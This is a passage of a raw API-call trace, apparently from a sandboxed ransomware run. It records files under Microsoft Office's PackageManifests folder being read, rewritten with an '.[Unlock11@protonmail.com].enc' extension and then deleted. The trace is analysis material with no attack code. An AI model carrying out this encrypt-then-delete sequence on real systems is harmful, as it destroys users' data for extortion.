[0133.702] CloseHandle (hObject=0x39c) returned 1 [0133.702] GetLastError () returned 0x0 [0133.702] GetCurrentThreadId () returned 0x9b0 [0133.702] GetLastError () returned 0x0 [0133.703] GetLastError () returned 0x0 [0133.703] GetLastError () returned 0x0 [0133.703] GetLastError () returned 0x0 [0133.703] GetLastError () returned 0x0 [0133.703] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0133.704] GetLastError () returned 0x0 [0133.704] GetCurrentThreadId () returned 0x9b0 [0133.704] GetLastError () returned 0x0 [0133.704] GetCurrentThreadId () returned 0x9b0 [0133.704] GetLastError () returned 0x0 [0133.704] GetLastError () returned 0x0 [0133.704] GetLastError () returned 0x0 [0133.705] GetLastError () returned 0x0 [0133.705] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 0x68 [0133.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0133.705] GetCurrentThreadId () returned 0x9b0 [0133.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0133.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0133.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0133.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa08 [0133.705] GetLastError () returned 0x0 [0133.705] GetLastError () returned 0x0 [0133.705] GetLastError () returned 0x0 [0133.706] GetLastError () returned 0x0 [0133.706] GetCurrentThreadId () returned 0x9b0 [0133.706] GetLastError () returned 0x0 [0133.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa08 | out: hHeap=0x2ad0000) returned 1 [0133.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac38 [0133.706] GetCurrentThreadId () returned 0x9b0 [0133.706] GetLastError () returned 0x0 [0133.706] GetLastError () returned 0x0 [0133.706] GetLastError () returned 0x0 [0133.706] GetLastError () returned 0x0 [0133.706] GetCurrentThreadId () returned 0x9b0 [0133.707] GetLastError () returned 0x0 [0133.707] GetLastError () returned 0x0 [0133.707] GetLastError () returned 0x0 [0133.707] GetLastError () returned 0x0 [0133.707] GetLastError () returned 0x0 [0133.707] GetCurrentThreadId () returned 0x9b0 [0133.707] GetLastError () returned 0x0 [0133.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac38 | out: hHeap=0x2ad0000) returned 1 [0133.707] GetLastError () returned 0x0 [0133.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0133.707] GetLastError () returned 0x0 [0133.708] GetLastError () returned 0x0 [0133.708] GetLastError () returned 0x0 [0133.708] GetCurrentThreadId () returned 0x9b0 [0133.708] GetLastError () returned 0x0 [0133.708] GetCurrentThreadId () returned 0x9b0 [0133.708] GetLastError () returned 0x0 [0133.709] GetLastError () returned 0x0 [0133.709] GetLastError () returned 0x0 [0133.709] GetLastError () returned 0x0 [0133.709] GetCurrentThreadId () returned 0x9b0 [0133.709] GetLastError () returned 0x0 [0133.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0133.709] GetLastError () returned 0x0 [0133.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0133.709] GetLastError () returned 0x0 [0133.709] GetLastError () returned 0x0 [0133.709] GetLastError () returned 0x0 [0133.710] GetCurrentThreadId () returned 0x9b0 [0133.710] GetLastError () returned 0x0 [0133.710] GetLastError () returned 0x0 [0133.710] GetLastError () returned 0x0 [0133.710] GetLastError () returned 0x0 [0133.710] GetLastError () returned 0x0 [0133.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0133.710] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381)) returned 1 [0133.710] GetLastError () returned 0x0 [0133.710] GetCurrentThreadId () returned 0x9b0 [0133.711] GetLastError () returned 0x0 [0133.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0133.711] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ba5c | out: pbBuffer=0x366ba5c) returned 1 [0133.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0133.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0133.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0133.711] GetCurrentThreadId () returned 0x9b0 [0133.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead00 [0133.711] GetLastError () returned 0x0 [0133.711] GetLastError () returned 0x0 [0133.711] GetLastError () returned 0x0 [0133.712] GetLastError () returned 0x0 [0133.712] GetCurrentThreadId () returned 0x9b0 [0133.712] GetLastError () returned 0x0 [0133.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead00 | out: hHeap=0x2ad0000) returned 1 [0133.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0133.712] GetCurrentThreadId () returned 0x9b0 [0133.712] GetLastError () returned 0x0 [0133.712] GetLastError () returned 0x0 [0133.712] GetLastError () returned 0x0 [0133.712] GetLastError () returned 0x0 [0133.713] GetCurrentThreadId () returned 0x9b0 [0133.713] GetLastError () returned 0x0 [0133.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0133.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0133.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a31b0 | out: hHeap=0x2ad0000) returned 1 [0133.713] GetLastError () returned 0x0 [0133.713] GetLastError () returned 0x0 [0133.713] GetLastError () returned 0x0 [0133.713] GetLastError () returned 0x0 [0133.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abb60 [0133.713] GetLastError () returned 0x0 [0133.714] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.714] GetFileType (hFile=0x39c) returned 0x1 [0133.714] GetLastError () returned 0x0 [0133.714] GetCurrentThreadId () returned 0x9b0 [0133.714] GetLastError () returned 0x0 [0133.714] GetFileType (hFile=0x39c) returned 0x1 [0133.714] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.714] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.714] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.715] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.715] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.715] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.715] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.715] GetLastError () returned 0x0 [0133.715] GetCurrentThreadId () returned 0x9b0 [0133.715] GetLastError () returned 0x0 [0133.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0133.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0133.715] GetLastError () returned 0x0 [0133.715] GetLastError () returned 0x0 [0133.715] GetLastError () returned 0x0 [0133.716] GetLastError () returned 0x0 [0133.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abb60 [0133.716] GetLastError () returned 0x0 [0133.716] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.716] GetFileType (hFile=0x3ac) returned 0x1 [0133.716] GetLastError () returned 0x0 [0133.716] GetCurrentThreadId () returned 0x9b0 [0133.717] GetLastError () returned 0x0 [0133.717] GetFileType (hFile=0x3ac) returned 0x1 [0133.717] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.717] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.717] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.717] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.717] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.717] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.717] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.717] GetLastError () returned 0x0 [0133.717] GetCurrentThreadId () returned 0x9b0 [0133.717] GetLastError () returned 0x0 [0133.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0133.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf6b8 | out: hHeap=0x2ad0000) returned 1 [0133.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.718] GetLastError () returned 0x0 [0133.718] GetLastError () returned 0x0 [0133.718] GetCurrentThreadId () returned 0x9b0 [0133.718] GetLastError () returned 0x0 [0133.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.718] GetLastError () returned 0x0 [0133.718] GetLastError () returned 0x0 [0133.719] GetCurrentThreadId () returned 0x9b0 [0133.719] GetLastError () returned 0x0 [0133.719] GetLastError () returned 0x0 [0133.721] GetLastError () returned 0x0 [0133.721] GetCurrentThreadId () returned 0x9b0 [0133.721] GetLastError () returned 0x0 [0133.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0133.721] GetCurrentThreadId () returned 0x9b0 [0133.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.722] GetLastError () returned 0x0 [0133.722] GetLastError () returned 0x0 [0133.722] GetLastError () returned 0x0 [0133.722] GetLastError () returned 0x0 [0133.722] GetCurrentThreadId () returned 0x9b0 [0133.722] GetLastError () returned 0x0 [0133.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0133.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0133.723] GetLastError () returned 0x0 [0133.724] GetLastError () returned 0x0 [0133.724] GetCurrentThreadId () returned 0x9b0 [0133.724] GetLastError () returned 0x0 [0133.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.725] GetLastError () returned 0x0 [0133.725] GetLastError () returned 0x0 [0133.726] GetCurrentThreadId () returned 0x9b0 [0133.726] GetLastError () returned 0x0 [0133.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0133.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0133.726] GetCurrentThreadId () returned 0x9b0 [0133.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.726] GetLastError () returned 0x0 [0133.727] GetLastError () returned 0x0 [0133.727] GetLastError () returned 0x0 [0133.727] GetLastError () returned 0x0 [0133.727] GetCurrentThreadId () returned 0x9b0 [0133.727] GetLastError () returned 0x0 [0133.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0133.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.727] GetLastError () returned 0x0 [0133.728] GetLastError () returned 0x0 [0133.728] GetCurrentThreadId () returned 0x9b0 [0133.728] GetLastError () returned 0x0 [0133.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.729] GetLastError () returned 0x0 [0133.729] GetLastError () returned 0x0 [0133.730] GetCurrentThreadId () returned 0x9b0 [0133.730] GetLastError () returned 0x0 [0133.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0133.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0133.731] GetCurrentThreadId () returned 0x9b0 [0133.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.731] GetLastError () returned 0x0 [0133.731] GetLastError () returned 0x0 [0133.731] GetLastError () returned 0x0 [0133.732] GetLastError () returned 0x0 [0133.732] GetCurrentThreadId () returned 0x9b0 [0133.732] GetLastError () returned 0x0 [0133.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0133.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.732] GetLastError () returned 0x0 [0133.733] GetLastError () returned 0x0 [0133.733] GetCurrentThreadId () returned 0x9b0 [0133.733] GetLastError () returned 0x0 [0133.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.734] GetLastError () returned 0x0 [0133.734] GetLastError () returned 0x0 [0133.735] GetCurrentThreadId () returned 0x9b0 [0133.735] GetLastError () returned 0x0 [0133.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0133.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0133.735] GetCurrentThreadId () returned 0x9b0 [0133.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.735] GetLastError () returned 0x0 [0133.736] GetLastError () returned 0x0 [0133.736] GetLastError () returned 0x0 [0133.736] GetLastError () returned 0x0 [0133.736] GetCurrentThreadId () returned 0x9b0 [0133.736] GetLastError () returned 0x0 [0133.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0133.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0133.736] GetLastError () returned 0x0 [0133.737] GetLastError () returned 0x0 [0133.737] GetCurrentThreadId () returned 0x9b0 [0133.737] GetLastError () returned 0x0 [0133.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.738] GetLastError () returned 0x0 [0133.738] GetLastError () returned 0x0 [0133.738] GetCurrentThreadId () returned 0x9b0 [0133.739] GetLastError () returned 0x0 [0133.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0133.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0133.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.739] GetCurrentThreadId () returned 0x9b0 [0133.739] GetLastError () returned 0x0 [0133.740] GetLastError () returned 0x0 [0133.740] GetLastError () returned 0x0 [0133.740] GetLastError () returned 0x0 [0133.740] GetCurrentThreadId () returned 0x9b0 [0133.740] GetLastError () returned 0x0 [0133.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0133.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0133.740] GetLastError () returned 0x0 [0133.742] GetLastError () returned 0x0 [0133.742] GetCurrentThreadId () returned 0x9b0 [0133.742] GetLastError () returned 0x0 [0133.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.742] GetLastError () returned 0x0 [0133.743] GetLastError () returned 0x0 [0133.743] GetCurrentThreadId () returned 0x9b0 [0133.743] GetLastError () returned 0x0 [0133.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0133.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0133.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.743] GetCurrentThreadId () returned 0x9b0 [0133.743] GetLastError () returned 0x0 [0133.744] GetLastError () returned 0x0 [0133.744] GetLastError () returned 0x0 [0133.744] GetLastError () returned 0x0 [0133.744] GetCurrentThreadId () returned 0x9b0 [0133.744] GetLastError () returned 0x0 [0133.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0133.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.744] GetLastError () returned 0x0 [0133.745] GetLastError () returned 0x0 [0133.745] GetCurrentThreadId () returned 0x9b0 [0133.745] GetLastError () returned 0x0 [0133.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.746] GetLastError () returned 0x0 [0133.746] GetLastError () returned 0x0 [0133.746] GetCurrentThreadId () returned 0x9b0 [0133.746] GetLastError () returned 0x0 [0133.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0133.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0133.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.746] GetCurrentThreadId () returned 0x9b0 [0133.747] GetLastError () returned 0x0 [0133.747] GetLastError () returned 0x0 [0133.747] GetLastError () returned 0x0 [0133.747] GetLastError () returned 0x0 [0133.747] GetCurrentThreadId () returned 0x9b0 [0133.747] GetLastError () returned 0x0 [0133.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0133.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0133.748] GetLastError () returned 0x0 [0133.748] GetLastError () returned 0x0 [0133.749] GetCurrentThreadId () returned 0x9b0 [0133.749] GetLastError () returned 0x0 [0133.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.749] GetLastError () returned 0x0 [0133.749] GetLastError () returned 0x0 [0133.749] GetCurrentThreadId () returned 0x9b0 [0133.749] GetLastError () returned 0x0 [0133.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37940d0, Size=0x93a5) returned 0x37940d0 [0133.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0133.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0133.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x93a8) returned 0x36f8548 [0133.750] GetCurrentThreadId () returned 0x9b0 [0133.750] GetLastError () returned 0x0 [0133.750] GetLastError () returned 0x0 [0133.750] GetLastError () returned 0x0 [0133.750] GetLastError () returned 0x0 [0133.750] GetCurrentThreadId () returned 0x9b0 [0133.750] GetLastError () returned 0x0 [0133.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0133.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.751] GetLastError () returned 0x0 [0133.751] GetLastError () returned 0x0 [0133.751] GetCurrentThreadId () returned 0x9b0 [0133.752] GetLastError () returned 0x0 [0133.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37018f8 | out: hHeap=0x2ad0000) returned 1 [0133.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.752] GetLastError () returned 0x0 [0133.752] GetLastError () returned 0x0 [0133.752] GetCurrentThreadId () returned 0x9b0 [0133.752] GetLastError () returned 0x0 [0133.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.752] GetLastError () returned 0x0 [0133.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.753] CloseHandle (hObject=0x3ac) returned 1 [0133.753] GetLastError () returned 0x0 [0133.753] GetCurrentThreadId () returned 0x9b0 [0133.753] GetLastError () returned 0x0 [0133.753] GetLastError () returned 0x0 [0133.753] CloseHandle (hObject=0x39c) returned 1 [0133.753] GetLastError () returned 0x0 [0133.754] GetCurrentThreadId () returned 0x9b0 [0133.754] GetLastError () returned 0x0 [0133.754] GetLastError () returned 0x0 [0133.754] GetLastError () returned 0x0 [0133.754] GetLastError () returned 0x0 [0133.754] GetLastError () returned 0x0 [0133.754] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0133.758] GetLastError () returned 0x0 [0133.759] GetCurrentThreadId () returned 0x9b0 [0133.759] GetLastError () returned 0x0 [0133.759] GetCurrentThreadId () returned 0x9b0 [0133.759] GetLastError () returned 0x0 [0133.759] GetLastError () returned 0x0 [0133.759] GetLastError () returned 0x0 [0133.759] GetLastError () returned 0x0 [0133.759] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft 